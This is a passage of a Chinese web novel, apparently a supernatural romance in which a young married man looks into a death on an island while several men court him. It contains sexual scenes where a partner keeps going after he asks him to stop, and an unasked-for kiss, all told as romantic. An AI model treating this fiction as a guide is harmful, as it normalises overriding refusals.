他一伸手枣芩就赶紧快步过去,两手握住了他的手,呼吸都不敢太重,“你感觉怎么样?” 眼前的龙保岐和平日活力四射的模样截然不同,像是被抽走了魂魄,眼睛都只是半睁着。 他声音无力又脆弱,“我头晕,口也渴,眼前发黑,耳朵也快听不见了。” 枣芩听着描述,脑袋都快晕了,眉头轻皱,“这么严重?” 【系统,龙保岐也会死吗?】 系统:…… 阮秋白侧开脸,不耐啧了声,将风扇打开,对着龙保岐吹。他淡声说:“中暑了,躺会就行。” “不是不是。”龙保岐喘着气,立体眉眼有几分沧桑。 他紧紧抓着枣芩的手,含糊说:“我不是中暑,我得了别的病……你过来我告诉你。” 枣芩:“啊?” 他脸上每一处都写着茫然,慢吞吞凑过去,点点头,认真道:“你说。” 龙保岐:“你让他们都走开。” 两人都在能听得到他说话的距离,却没有一个人有任何动作。 阮秋白面无表情站在一旁,居高临下看着他们。 他朋友则坐在床尾,盯着枣芩被风吹起一点发丝的雪白脖颈,恍恍惚惚,都没有听清他的话。 枣芩看他嘴巴说这么多话,再加上阮秋白都说了他只是中暑,感觉没什么大事。 枣芩看了看两人,“那你先别说了?” “不行……”他摇头,大手捏着枣芩的手指到腕骨,就是不放开。 …… 枣芩确定他神志不太清醒。 “我难受。”龙保岐又开始了,他眼神盯着天花板,露出苦笑,“为什么就我不行?我心里难受——” 他得出结论,“我的心得病了。” 枣芩想要把手抽出去,偏偏还没抽动。 他眉头忍不住皱起一点,“你先睡一觉,起来就好了。” 他不知道,他的动作和他冰冷的言语,伤害到了龙保岐一颗脆弱的心,他感觉自己的心脏要裂开。 龙保岐喘着粗气,胸膛起伏,嘴唇颤着,就要坐起来以表忠心, “小三没我的份……我愿意当小四,行嘛?当你小老公就行……枣芩。” 枣芩因为他的话,抽手都忘了,睫毛抖啊抖,耳根脖子缓缓晕开红,分不清自己是气还是恼。 “……你、你在说什么?你别乱说!” 他另一只手想要去拽开龙保岐,谁料龙保岐起身想要来抱他,枣芩想不通人怎么能这样,他脸白了又红,嘴巴紧紧咬着。 还是阮秋白将人掀开,胸口给了他一拳,才躺回了床上。 他连龙保岐的朋友都不敢看,生怕对方露出什么让他想死的表情。 阮秋白安抚着脑袋快冒烟的枣芩,“他脑子烧糊涂了,躺会就好了。” “枣芩……嫂子、”还在乱叫。 【老婆,你的小老公好那个啊,怎么还叫你嫂子,指指点点】 【你小子,好好好,用这种手段是吧。】 【芩芩快羞死了!谁来救救我老婆啊】 阮秋白实在看不下去了,眉头皱着,揽着枣芩就往外走,“不是想睡午觉吗?我陪你回去睡觉。” 枣芩急忙点头,呼吸都是乱的,“对、回去睡午觉。” 龙保岐中暑了就能胡言乱语吗!什么小四,小老公啊。 说得好像枣芩有很多个老公一样,尤其还有一个陌生人在,他会怎么想? 肯定给他留下了非常差的印象。 一直走了很远,枣芩想到刚刚那副场面还是心有余悸,问了句,“他真的没事吧?” 阮秋白淡淡:“好的不得了。” 枣芩:…… 好不容易平静下来,枣芩呼气,对着脸上扇了扇风。想着回去睡个午觉,再去打听打听当年的事。 终于回了家,一踏进门,枣芩蓦然僵在了原地。 院中用来挂衣服的一根铁丝上,走的时候还是光秃秃的,此时已经挂上去了两三件衣服。 一片白色的小布料被夹子固定在上面,随着风飘摇,在蓝天下格外晃眼,枣芩瞬间感觉自己的头又晕了。 都不用想就知道是谁洗的。 全都是神经病,龙保岐是神经病,李聿也是神经病。 一会欺负他,一会又在他离开的时候,溜进他屋子,偷偷摸摸把他的内裤给洗了,还光明正大挂在院子里。 枣芩飞快把自己的内裤拽下来,钻进屋内。 正午的太阳,他们出去了不过一会,基本上已经全都干透了。 枣芩咬着唇,把内裤塞进柜子里,回到炕上倒头睡觉,眼皮不停地颤。 只要他不尴尬就什么事情都没有。 对,就是这样。 · 玻璃窗内,炕上两人睡在一起,枣芩背对着阮秋白,阮秋白的手臂在他陷下去的腰上轻轻搭着,头都几乎靠在一起。 · 枣芩怀疑李聿给他洗衣服是想和他道歉,因为当天下午,枣芩还想着今天要去哪里吃饭,李聿就已经在厨房忙活起来。 李聿小时候就学会了做饭,因为父母有时候外出不在,就需要他来照顾枣芩。出去外面独自生活,不忙的时候都是自己做饭吃,厨艺还算不错,起码看样子要比宋平好一些。 枣芩刚开始不确定自己能不能吃,在门缝里朝外偷看,直到看到一大桌子的菜,以及被拿出来的三双筷子,才确定了有他的份。 生气归生气,不爽归不爽。饭还是要吃的,不然就亏了。 他坐在屋内,等到李聿来叫自己,枣芩才佯装不情愿,慢吞吞坐下吃饭。 两人一直盯着他看,枣芩吃个饭都吃的尴尬,抬起眼皮看他们。 李聿问:“还行么?” 拿人手短吃人嘴软,枣芩浅浅点了下头。 其实确实不错,都可以去当厨师了,比岛上那家饭馆做得都好吃。 只是一个点头的动作,对面李聿就忍不住眉眼舒展开。 吃过饭后,两人像是心照不宣有了分工,谁都没说话,阮秋白把碗拿到厨房去。 枣芩什么都没干,有点心虚溜回屋内。 阮秋白今天下午回去了趟,拿了一些东西过来。 其中最让枣芩感兴趣的是一个相机,他之前就看到过阮秋白拿着相机拍东西,现在到了自己手里,他也想试试,说不定能有个摄影天赋。 枣芩刚进屋子,身后就传来关门声。 他回头看,表情一变,熟悉的场景让他瞬间紧张起来,退了两步。 李聿再一次把他堵屋子里了。 枣芩立马想要喊阮秋白来救他。 对面的李聿看到他的表情的那瞬,意识到问题,又很快将打开门。 他面色绷着,没直视枣芩,“不是要欺负你,你随时可以出去。” 枣芩一步一步挪到门口。 见他马上就要走了,李聿忽然开口:“我昨晚开门了。” 枣芩脚步停下。 男人嗓音低了点,仿佛有点艰难,说出这样的话,“……我过来找你了,但是你已经、去找他了。” 枣芩低头小声:“可是我都已经走了,你跟没开有什么区别……” 他说完,就小跑着去找阮秋白,只给他留下一个背影。 李聿骨节分明的手撑在门框,闭了闭眼。 枣芩对他避之不及,好像不想再接触他,他现在真的不知道该做什么好了。 明明不是对他有兴趣吗…… 枣芩翻看着相机内阮秋白之前拍的照片,连着看到了好几张——他自己。 在枣芩完全没有发觉的情况下,阮秋白拍了很多张关于他的照片,他的纤瘦模糊的背影,水葱似的手指…… 不过再往前看,还能看到岛上的一些老人,海鸥,风景。 其中有不少,让枣芩觉得非常眼熟,他看着回忆起来,发觉就是家门口附近。 阮秋白拍得很不错,尤其是拍枣芩,枣芩自己说不上来,但照片给他的感觉并不是一张简单的照片,而是有一种悠长的氛围。 好像看到照片就能脑补出点什么事情。 【没有把宝宝的美完全拍出来,不过也很好看,浓浓的故事感,浓浓的感情】 【小麻豆怎么这么漂亮,亲亲你的小嘴巴】 枣芩看着有点手痒,他拿起相机,对着屋子里随便拍了张,一看色调晦暗,只能看到轮廓。 怎么一样的相机,他拍出来就这样? 枣芩起身去打开门,取景框对准傍晚暗蓝的天空,像是一幅画卷,他拍了张。 取景框随着他的动作挪到院里,他嘴唇微张,很是新奇,专注看着镜头中的一切。 忽然间,一片裸、露的、属于男性的宽阔脊背闯入镜头中,他肌肉紧实,线条流畅。 他微微侧头看了枣芩一眼,慢悠悠将手中小盆的水浇在背部,让水滴顺着沟壑分明的背滑落。 枣芩:? 第39章 第 39 章 好玩的 手指一抖, 手中的相机差点没拿稳,枣芩脑袋都卡壳了下,缓慢又错愕的瞪圆眼睛。 裸背男人腰身挺直, 在微弱光照下依旧走势分明, 他似乎要转身, 枣芩被吓得照片也不拍了, 着急忙慌回了屋子。 这人太没有边界感了! 【光天化日朗朗乾坤,脱衣服洗澡, 完全不考虑这个院子别人的感受吗?】枣芩红着脸蛋怒了, 牙齿都咬紧。 系统突兀出现,开口拆台:【宋平也在外面洗。】 …… 枣芩翘着眼睫:【那能一样吗?这里是宋平的家, 而且他从海上工作很累,在屋子里洗完,还要再搬出去很麻烦。】 他小声接着说:【李聿又什么都没干……】 【他做饭了,还在电脑上工作了。】系统冷静说:【你很偏心宋平。】 偏心的很明显。 枣芩恼羞成怒, 眉心不悦蹙起,【系统你怎么这么顶嘴, 你要站到我这边才行。】 就是讨厌李聿。 李聿极力维持着自己的肌肉状态,看起来很随意,实际上每一处都发力,不敢松懈, 把完美的自己展现在枣芩面前。 他经常锻炼身体, 回岛上后也没断过,身上没有丝毫赘肉,枣芩这样没见过世面还胆大的小男生,又本就对他有兴趣。 他都不用想,只等着枣芩再次主动来找他。 漂漂亮亮的, 身上也白,枣芩脾气大也很可爱。 他这次会只会短暂装两秒,维持自己的形象,毕竟太简单得来就不会珍惜,他要让枣芩知道他很难搞。 之后他就放枣芩进去,然后看枣芩会做什么。之后他肯定会轻轻地吻枣芩,然后跟他说对不起。 良久没有听到声响,李聿疏离瞳色回头一看,原本站着枣芩的地方已经空荡荡。 枣芩被李聿这么一搞,吓得都不敢出去了。生怕再撞见什么奇怪场面,一直等到阮秋白回来,才放了心。 枣芩对李聿真的没什么好感,想到他都隐隐排斥。 其实大多都是因为那天对方把他堵在柜子里时,嘴里蹦出来的一个个刺耳的词。 在他想站起来时,推向他柔软腰腹的大手。 在面对枣芩的时候,李聿就把外面的那一层和善的羊皮扒掉了,露出底下恶劣的真面目,一只眼冒绿光的狼。 所以现在,哪怕李聿对他的态度变好了些,枣芩也觉得那个说他浪的李聿才是他的真面目。 · 今晚是得知有鬼后的第一个夜晚。 天还没黑,枣芩就有点胆战心惊。因为他也不完全确定,是不是身旁有人陪着,鬼就不会来欺负他了。 但昨晚确实是,他投入阮秋白怀中的那一刻,那冷意就骤然消失。 灯早早被关掉。 枣芩洗过了澡,用得是最普通的皂角,身上却散出独属于他身上的香甜气息。 他下半张脸埋在被子里,只露着一双眼睛,错愕看着黑暗光线下脱衣服的阮秋白。 他声音紧张:“你脱衣服干什么。” 阮秋白早摘下了眼镜,跪在枣芩身侧,随手把衣服丢在一旁,捋了把额前的发丝。 他什么也没有回答,枣芩只忽然感觉身上凉了下,被子里已经多了个人。 阮秋白鼻腔发痒,掀开的一瞬间就被绵绵香气袭来,心都颤了颤。 他声音低哑,这才回答枣芩前面的话,“宝宝,我穿着衣服睡不着。” 枣芩小动物一样天然的预感,发挥了作用。 他心里有点慌,声音促了促,就急忙想要起身,“还有被子,我去找。” 刚说出口,他就被一只胳膊自身后抱住,那人温度灼热的胸膛贴着他的后背,简直像个火炉,在他脸颊嗅闻。 “别去,跟我贴在一起比较安全……宝宝不想和我睡一个被窝吗?你不喜欢我了?” 枣芩紧咬住嘴巴不说话,身上都冒出一层细细的汗,因为他已经感觉到阮秋白有些不对劲了。 有关生理上的。 好奇怪啊。 “宝宝想不想跟我去大陆?我带你走吧……” 被子的温度不断升腾,阮秋白的呼吸重得异常。 枣芩整个人都卡在阮秋白怀里,眼皮都打着颤,他小声说:“不用贴的这么近啊。” 阮秋白嗓子哑得不像话,忽然在枣芩耳边,慢又低的说了句:“宝宝睡觉也不喜欢穿裤子。” “我穿了!穿了的。”枣芩又急又凶的说。 内裤也是裤子。 阮秋白第一次感觉自己像个十七八岁的毛头小子一样,难以控制自己的心脏与身体,瞳孔收缩又放大,想紧紧搂住自己的爱人,嘴里的话都变得很多。 想对他说怎么也说不完的,只有两个人能听到的私密而幼稚的情话。 他完蛋了。 他彻底被枣芩迷住了,满脑子全都是他。 “好香啊,宝宝,你想不想摸摸我……我怎么那么想亲你?” 他闭着眼睛,高挺鼻尖碾磨着枣芩的伶仃肩膀,那里只覆盖着一层薄薄的皮肉。枣芩皮肤嫩,亲一下都是凉的。 枣芩张唇喘着气,眼中闪烁湿漉,烦恼说:“你忍住不行吗?我真的想睡觉了。” 窗外天空的颜色并不是枣芩平时睡眠的时间。 “才八点不到。”阮秋白拿腔捏调的,忽然说:“教宝宝一件开心的事好不好?” 枣芩困惑了秒,身后的人忽然潜下去。 其实枣芩是想躲的,当被混乱呼吸喷洒。 …… 他眼眶湿润,很快凝结成了可怜水珠,划进发丝。 细嫩的腿在床单上本能的乱蹬几下,他咬着自己的手指,狠狠闭上眼,生怕被隔壁讨厌的人听到。 …… 空气骤然变得好冷,像是跌入冷库,全身的温度都好被侵袭。 而这一次不只是枣芩这么觉得,阮秋白也同样感受到了。 那种阴冷中,甚至能让人感受得到遏制不住的愤怒。 “怎么办,好冷啊……哈……”枣芩哭腔止不住。 身体的感受和精神的恐惧同一时刻侵略他,他有点承受不住,感觉自己的脑袋都成了浆糊,什么也想不了。 枣芩无所能力侧着脸,眼泪一颗颗往下掉,呜呜哭起来。 都没有发觉,裹挟着愤怒的阴冷已经悄悄地越走越远。 一直快到天亮,枣芩睫毛还是湿的,手臂因为太热露了出来,放在枕头上,他温热脸颊被人轻轻落下一个吻。 枣芩清醒过来已经是日上三竿,太阳晒屁股了。他揉了揉眼睛,身边的位置已经空了。 爬起来的瞬间,意外的摩擦,他忍不住疼得哼了声。 又麻又疼,他胸口缓缓升起火气,想起昨晚的事情,紧咬住唇肉。 他开口喊了声:“阮秋白!” 明明声音并不算小却不见人,等得委屈劲都上来了。枣芩一个人动作慢吞吞的穿好衣服,找了一圈也没找见人。 倒是看到在厨房做饭的李聿,穿着不知道哪里搞来的围裙,有模有样的绑在腰上,侧眸对他说了声:“饿不饿?” 枣芩靠在门口摇摇头,他手放在门框,无奈之下才不太好意思的朝他问:“你有看到阮秋白吗?” 李聿头都没回,轻描淡写的说:“一大早就急匆匆地走了。” 枣芩垂下眼,看着门槛,他其实隐约记得阮秋白和他说了什么。 话语中有些掩饰不错的失措情绪,声音尽量维持着平静,“宝宝。” 枣芩好像接受了这个称号,知道在叫自己,迷迷糊糊嗯了声。 随后听到他说:“明天晚上再来陪你睡觉。” 枣芩记不清是不是这句,但意思差不多。就是说白天不陪他了,晚上才会来陪他…… 为什么会这样? 枣芩神色变化太过明显,睫毛失落的抖啊抖,嘴唇也紧紧抿着。 李聿忍住自己想安慰他的冲动,把饭菜摆上桌子。 之前三个人一起吃的饭,就剩下了两个人了,桌子上看着都有点空。 枣芩并着膝盖坐在木板凳上,小口小口吃着米饭,腿、根还不太舒服,只能又稍微松开点,尽量不摩擦到。 “不好吃吗?”厨子像是看不惯他这副小口小口、艰难进食的样子,忽然问。 枣芩抬眼,表情迟钝的摇头,“没有啊。” “那就好。”李聿握着手中的筷子紧了紧,视线落到枣芩脸上,闪烁了下,“其实我没有不想带你走。” 枣芩:? 他因为话题太突然,有点迷惑。 “我工作很忙,很怕你在那里被大城市的人骗了。”李聿声音淡淡,像是随口一讲。 “我一个同事家的小孩,年纪跟你差不多大,说是交了男朋友,就跟着男朋友去住了,没多久就哭着跑回家了。” 枣芩有点好奇,看着他,“为什么啊?” “笨。”李聿在枣芩嘴巴撅起之前,说:“很多男的都很坏,他们在得到受害者的身体之后,就会消失,因为这就是他们的目的,尤其是城市来的男人。” 枣芩瞬间联想到了阮秋白,这情况重合度过高。 他没说话,眉头轻皱又松开,表情明显乱了些。 李聿接着说:“所以才不想带你去,害怕你被骗了,都不知道自己被骗,还以为别人只是有事。这样会显得很笨。” …… 阮秋白的目的就是弄疼他的腿吗?还有那个、主动、舔他? 说要帮他也是骗人的吗?晚上才来算什么? 枣芩牙齿咬着筷子,恶狠狠的想,他也不是很需要阮秋白啊。 “你有什么事情,找家人帮忙才是对的,家人再有嫌隙,也比外人亲。”李聿放下筷子,完全就是说家常话的模样。 枣芩也放下筷子,抿着嘴巴表情严肃进屋了。 他也不需要李聿的帮忙。 李聿一看就是比阮秋白还要坏的家伙。 枣芩也不会因为李聿的几句话,就完全觉得阮秋白是在骗他。可是等了好久,阮秋白也没有出现。 他握握拳,干脆按照目前的线索,独自前去龙保岐家。进门先看到的是宋莲莲,她正要出门。 看到枣芩,宋莲莲脸上瞬间浮现关切的表情,“小枣,今天吃饭没?” “吃了的!我就是来看看小龙好点没有。”枣芩连忙说。 宋莲莲要是知道他没吃饭,肯定要去给他做了,枣芩觉得把她放到嫌疑人列表,都心里虚的慌。 “吃了就好。”宋莲莲放下心来,她指指屋子说:“他在躺着呢,我去买西瓜回来,你再多待会,等我回来。” 枣芩点点头,腼腆笑着,“好啊,我会等着的。” 他走进里屋的时候,龙保岐还在炕上躺着,他腿翘着,两手撑在脑后,盯着天花板似乎在想什么。 听到枣芩的脚步声,他没什么力气,死气沉沉说:“要我去买吗?” 没有收到回复,他才觉得不对劲,微微抬起头,瞳孔瞬间收缩,几乎是噔一下起身,下了炕。 他张望着往枣芩身后看,空空如也,只有一个人来了。 枣芩眼神有些退缩,又漂亮又白,眼睛亮亮的,跟他梦见的一样。 除了他俩,此时此刻,整个院里一个人都没有。 龙保岐吞咽口水,摸了下后脑勺,黑皮上泛了红不仔细看看不出来,他小心翼翼说:“我昨天说的话……” 枣芩表情一急,脸也跟着红起来,打断了他的话,“我知道你是乱说的。” 龙保岐恍恍惚惚的说:“是真的。” 他感觉自己还没好全,不然怎么看见枣芩就脑子发热,他有点不好意思,“那、你什么想法啊?” 第40章 第 40 章 亲嘴教学 什么想法? 他能有什么想法…… 难道要他答应让一个比他都小的男生, 还是他丈夫的表弟,做什么荒唐的小老公吗。 他都已经有一个情夫了。 枣芩眉心轻轻蹙了下,表情为难, 他真的招架不过来。而且他过来也有自己的目的。 …… “我们还是说点别的吧。” 虽然没有明说, 但完全就是拒绝的意思了, 龙保岐也听懂了。 屋内空气都沉默着。 枣芩眼睛抬着, 视线落在木质衣柜上方摆着的,龙保岐父亲的黑白遗照上。那是一张属于中年人的脸, 一张不该在那个时候去世的脸。 他收回视线, 对上龙保岐怔住的神情,他嘴唇抿成一条倔强的线, 掩饰着微微侧开头,躲开了枣芩的视线。 龙保岐有些无奈问:“你不想说这个,想说什么?” 枣芩葱白手指指向他身后的方向,龙保岐扭头顺着他指的方向看过去, 高大脊背微僵。 枣芩眼睛放大一点,试探着说:“你能跟我说你父亲的事情吗?” 龙保岐没说话, 转过头来时,单薄的眼皮下眼中没什么情绪。 他长相五官都偏锐利,脸上也没什么多余的肉,不做表情的时候, 看着很严肃。 他几乎从没用过这种表情对着枣芩。 枣芩感觉自己说了不该说的话, 他手指无意识蜷起来,心里有些紧张,嘴巴动了动也不知道自己该说什么。 干脆逃避似的,慢吞吞转过身子,背对龙保岐。 龙保岐看着他转过身的动作, 没好气笑了下:“就觉得你表情奇奇怪怪。” 他顿了顿,“你是不是怀疑我杀了宋平。” 都没带什么疑问的意思。 他语气中的笃定,让枣芩抿住嘴唇。 他睫毛颤抖,刚想否认来着,倏地腰被一条胳膊自身后环住。 龙保岐有点恼怒的勒抱着他柔软细瘦的腰身,垂着眼,如果不是有点愤怒加持,他还真不敢直接上手抱枣芩。 “你就是怀疑我!”他盯着枣芩发红的耳朵尖,很凶的说。 枣芩呼吸都不敢大口,主要是因为被说对了。 他确实在怀疑龙保岐…… 如果真的不是对方,那就是自己在猜忌一个无辜的人是杀人犯。 感觉好严重。 他慢吞吞的扭头去看龙保岐的表情,小脸上无辜的表情,粉唇被牙齿压得绷出一点白痕,呼吸时会有微妙香气往龙保岐脸上挨。 龙保岐从没见过这个角度这个模样的他,枣芩弱声弱气的说:“我说我没有这么觉得,你会信吗?” 脑子嗡一下,热血上头的瞬间自己都没有反应过来。 龙保岐空着的那只手心贴上枣芩脸颊,大手按着往他的方向轻轻压。 枣芩呆呆的没反应过来他要干什么,就顺着扭过脖子。 薄唇哆嗦着落在了枣芩柔软的唇上,龙保岐闭着的单眼皮都在抖,仅仅只是接触着唇肉,从细细唇缝中,感受到枣芩的气息,就晕头了。 后背窜起来一阵电流,把他从头点击到尾。 他嘴巴还不忘说话,只是声音非常轻,两个人的呼吸都交融在一起,呢喃着:“枣芩,你嘴巴好软啊。” 枣芩被磨着嘴巴,微微仰着头,他睁着眼睛都能看到龙保岐那副沉迷的样子,什么紧张都烟消云散了,心底深处还莫名还生出一点点的小得意。 龙保岐跟他也差不多大的年纪,个子比他高一节,却连嘴都不会亲,像个笨蛋一样只轻轻碰着,舌头也不会伸。 “不能亲了……”枣芩扭开自己的脸,唇瓣擦过唇瓣,他开始瞎说:“你已经超过正常时间了。” 龙保岐吞咽口水,佝着背,下巴放在枣芩肩膀上,声音低哑,“还有时间规定吗?” 枣芩眨眨眼睛,脸不红心不跳,语气十分认真,“当然有,不然要亲一整天?正常人都是只亲一下,多了嘴巴要烂。” “你怎么这么有经验?”龙保岐微妙沉默一瞬,眉毛竖着,“你跟很多人亲过?” 枣芩:…… “没有啊,但肯定比你经验多。” 龙保岐满意的“哦”了声,舔了下嘴唇,有点磕巴的问:“那、枣老师,请问你能教教我吗?” 被恭恭敬敬一句“枣老师”哄住,枣芩心跳都加快了,一瞬间真的感觉自己是个小老师,对面的学生需要他教。 怪异的气氛促使他微微张开点唇,口腔内闷着的温软舌尖都能看见,他声音小小,“你先……” 才刚刚说了两个字,上天似乎故意要折磨龙保岐的神经。 门外不止是一个人的脚步传来,大门被关上的声音不小。 枣芩察觉到,瞬间从老师梦境中清醒过来,去掰龙保岐的手臂,急说:“有人进来了,你快松开我呀。” 龙保岐被这么一上一下搞得头发都快竖起来了,他不肯放开枣芩的腰,着急忙慌在枣芩那点舌尖上舔吮了一口,跟狗一样,吼中发出怪声。 枣芩抗拒的用手肘撞了好几下他的胸口,他才依依不舍的松开。 坐在椅子上,被分下一碗西瓜的时候,枣芩都还没反应过来,他盯着碗中鲜红的西瓜,注意力全在自己的舌尖上,他轻轻卷弄着,舌尖麻麻的。 宋莲莲很开心,说:“你看,这不巧了,我刚走几步就看到你哥,正好还拿着西瓜说要送过来,那我就正好不去买了。” “一直都想谢谢您,照顾枣芩。”李聿笑容温和,看不出半点私底下的恶劣样子。 枣芩心里翻了个白眼,表面上没做出来,勺子挖着小碗的西瓜送进嘴里。 身旁传来抑制不住的笑声。 龙保岐脸上的笑容怎么也藏不住,他西瓜也不吃,不时偷看枣芩一眼。 “中暑中傻了?”宋莲莲看他那副傻样,也没忍住笑了声。 龙保岐挑着眉毛,扯着嘴角笑了声,摇摇头:“没有啊。” 看起来更傻了…… 【吓死我了,差点以为真要教学了,宝宝你会了吗你就教别人】 【老婆你看,你都给他迷成智障了,放过他吧,看看我,全新未开封】 吃完西瓜,宋莲莲中午要睡午觉,这像是什么家庭传统,龙保岐本来也习惯了偶尔睡个午觉。 可枣芩坐在这里,他怎么可能睡得着,他清醒到可以去海里游两圈,再上岸抱着枣芩亲一天。 他忽然想起什么,瞥了眼多余的李聿,凑到枣芩耳边小声,拿腔捏调的说:“老师你放心,我对天发誓我没有杀过人……不然我这辈子都是处男。” 枣芩慢慢挪开耳朵,眼中写满了无语看着他。 什么鬼啊? 他一点都不想知道。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 第 41 章 还很、烧 枣芩要离开的时候, 龙保岐非常自然的跟在他身后,一副枣芩走在哪里他就要跟在哪里的样子。 枣芩并不愿意,皱了皱脸, 作势要去告诉宋莲莲, “……我去问问你妈妈, 她让不让你还在中暑就出去晒太阳。” 龙保岐定在原地, 握住他的手腕,身后的尾巴都要耷拉下来了, 嘴巴往下撇, “你不想让我跟着你。” “……” 枣芩别别嘴巴。可恶,被他识破了。 “我是怕你又中暑呀。我也是关心你, 你好好休息我会过来看你的。” 就这么轻飘飘的三言两语,龙保岐看着他,头脑又开始发晕了。 枣芩怎么能这么好。 明明脾气一点也不差。 不想让他跟着也是担心他,他语气并不是很好, 枣芩都没有生气,还认认真真跟他解释。 他心脏像弥漫开来的火山, 很亢奋,“其实我已经好了。” 说着都恨不得做几个仰卧起坐,证明一下自己。 枣芩视线望向门外,已经没有什么耐心了, 他忍下自己的脾气, “哎呀……说了你好好休息。” 龙保岐怔了两秒,这才安分下来,凑近一点,商量说:“那你一定要来找我,不然我就去找你。” 枣芩敷衍的点点头, 像一条光滑的鱼,他把自己被握的都有点湿的手抽出来,小跑着溜了。 因为不知道去哪里,枣芩只能往家走,他眼神放空。 枣芩觉得龙保岐有很奇怪的地方,原本想着这次去能不能把他的嫌疑排除,或者坐实。 可去了一趟,只觉得又多了可疑的地方。 他只是提了一句能不能说说他父亲的事情,龙保岐就立即联想到,自己在怀疑他。 还是一种非常肯定的语气。 这么草木皆兵,反而证明了他父亲的死不一般。 但偏偏他又发誓自己没有杀过人。虽然起誓的方向很莫名其妙,枣芩却直觉他不是说谎。 枣芩若有所思的噘嘴,玩着自己的手指,都没有察觉到自己身后一直跟着人。 所以当李聿开口说“在想什么”的时候,他被吓得肩膀乱颤,转过头,错愕瞪着眼睛看他,心脏快的止不住。 李聿眼角跳了跳,在枣芩生气之前,伸手僵硬拍拍他的后背安抚。 “不是故意的。” 枣芩哪里在乎他是不是故意的,他被吓到了是真的。 他缓了口气,连话都没回转身就快步走起来。 他听到李聿跟了上来,没再绕弯子,疏离嗓音在他身后直截了当说:“你是不是想知道他父亲的事情。” 枣芩脚步蓦然顿住,迟疑的转头,看着他没说话。 李聿看了眼头顶的大太阳,视线落在枣芩被晒得微微眯起来的眼睛,以及细密睫毛下小块阴影,说:“回去再告诉你。” 过往的线索终于从李聿这里,得到了一个合理的解释。 李聿口中,龙保岐父亲根本不是去借东西的,而是去偷东西的。 宋莲莲也与他并不是同行,而是之后去寻找他,才发现他掉下了山坡,被砸破了脑袋。她自己也意外受了伤。 李聿喝了口水,表情淡淡,轻描淡写随口一问,“你没有发觉宋平有什么奇怪的情况?有没有经常一个人去的地方?” 枣芩眉头皱着,认真回想后,才缓缓摇头。除了出海打渔,他大多时候都在家。 起码枣芩在的那两天是这样的。 “呵。”李聿轻笑了声,枣芩抬眼去看,见对方唇角勾起一个讥讽的弧度。 因为认为宋平对枣芩不是全然的真心,他心中充盈起微妙的愤怒。 “还以为他有多爱你,原来这件事情都没有告诉过你。” 周身的空气似乎控制不住的冷了冷,但很快就消失。 枣芩粉唇肉被咬得发白,他眼睛垂着,忍不住追问,“什么意思?是有很重要的事情我不知道吗?” 到底是什么宋平没有告诉他。 偏偏李聿又语焉不详、故弄玄虚。 枣芩烦死了,既然不能告诉他,又为什么要说。 李聿只摇摇头,他说他也不知道,他并不关心这些事情,早早离开了夏岛。回来也仅仅是因为放假,怀念怀念家乡罢了。 枣芩才不信。 他干脆跑了趟饭馆,去的时候老板那里簇拥着不少人在聊天,插科打诨,不时笑两声。 枣芩握着拳,脸蛋绷着,若无其事插进去,十分艰难的把话题引到自己身上,再引到宋平身上,再引到他父亲身上。 年纪大的人确实知道的更多。 宋平的父亲并不是原住民,他独自来到岛上旅行,遇到了宋平的母亲,两人相互爱慕,便留在了这里结婚生子过上了安稳日子。 至于他之前是干什么的,连八卦中心的老板都不敢确定,她猜测宋平父亲家里挺有钱的,来到岛上出手也很大方,结婚的时候给了宋家好一笔钱。其他人也纷纷应和。 难道是什么有钱人抛弃一切,为爱留在小岛的戏码? 然后被觊觎钱财的龙爸上门偷窃,砸了他的头,丢下山坡,多年后龙保岐复仇? 枣芩苦恼的想,要是当时多和宋平聊聊天,问问他父母的事情就好了,也不至于现在丈二和尚摸不着头脑。 回到家,枣芩把家里翻了个底朝天,累得浑身发软了,都没找到什么有钱物件。 倒是翻出了一个黑皮的笔记本,里面还塞着一根短短的铅笔。 枣芩躺在炕上,额发散开白嫩脸颊,随意翻看起来。 笔记从几年前开始,宋平的字迹并不好看,像是刚学会写字的小学生字迹。记录的也都是些开销,都挺正常的。 枣芩接着往后翻,一直到了笔迹的最后几页,才有了不同。 入目就是几个大字。 ——我的老婆真漂亮。 下面配了一副手绘的图,是丑到枣芩看不出来是自己的火柴人。 他抿着嘴巴,沉默了一下。 ——还好那晚没把驱蚊水拿出来,我帮他挠背,他声音很好听,还叫我老公,想亲。 ——给老婆买了衣服回来,白色很好看,老婆穿什么都好看,不穿也好看(涂掉)。 ——老婆的手软软的。 ——我跟老婆没有过新婚夜,新婚夜什么时候才到?我买了学习的本子,我要快点学好,让老婆舒服。他是不是会更爱我?我不敢想。 ——想了。 …… 枣芩“啪”一下闭上了本子,脸晕开一大片红,把本子丢在旁边。 都是一些什么啊!一点有用的线索都没有。 可恶的宋平,看着很正经,脑子里全是这种东西。 他怕被别人看到这些东西,起身忙把笔记本放回抽屉里,看了两眼不放心,又找了块没用的布盖上。 天色渐晚,月亮缓缓上山。 吃过晚饭后,枣芩并着膝盖坐在小木凳子上,腿露着一截,坐姿很乖,视线不时看向门口。 “天快黑了,找到今晚谁陪你了吗?” 李聿的声音忽然自头顶响起,他口吻中并没什么调侃意味,好像真的只是简单问问。 枣芩抬起头,从他眼中,却忽然明白了他的意思。 “……”枣芩没说话。 李聿坐在他旁边,那张冷静自持的脸,在面对枣芩时总有点隐晦的紧绷,深埋在下面。 他语气平静,“我是你哥哥。” “虽然我们没有血缘关系,有过矛盾,但我不会伤害你,我们是家人,而且。” 他鬼使神差多加了句,“我还是你曾经的……未婚夫,如果不是意外,我们现在会是很亲密的夫妻。” 傍晚暗蓝的光线下,枣芩翘着的鼻尖皱了下,被他的话搞得迷糊,都怀疑自己知道的又错了。 “不是你自己离开的吗?” 是什么意外? 李聿嘴唇动了动,却瞬间说不出话来,看到枣芩茫然无辜的困惑模样,心中酸胀的厉害。 不是他自己离开的吗? 因为他的离开,年纪很小的枣芩又没有父母,被迫嫁给一个并不熟悉,还大一些岁数的男人。 他脾气不小,但其实胆子很小,又没了靠山,孤零零一个人在岛上。 别人只要凶一点欺负他他就没辙,只会红着眼睛接受。 就像他那天被鬼上身一样,把枣芩堵在柜子里说难听话。枣芩也只是湿着眼睛,委屈的说他没有。 他无法想象枣芩是什么样的心情,在面对他说那些话。 是他自己不愿意和枣芩结婚的。现在这样又算什么? 李聿也不明白自己在干什么,可这次,他不想再丢下枣芩。 “晚上我会在。”他顿了顿,喉结动了动,“不会再像上次了。” 枣芩没说话,只瞥了他眼。 阮秋白说晚上会来,枣芩都已经想好,他来了自己怎么逼问他,怎么大发脾气了。 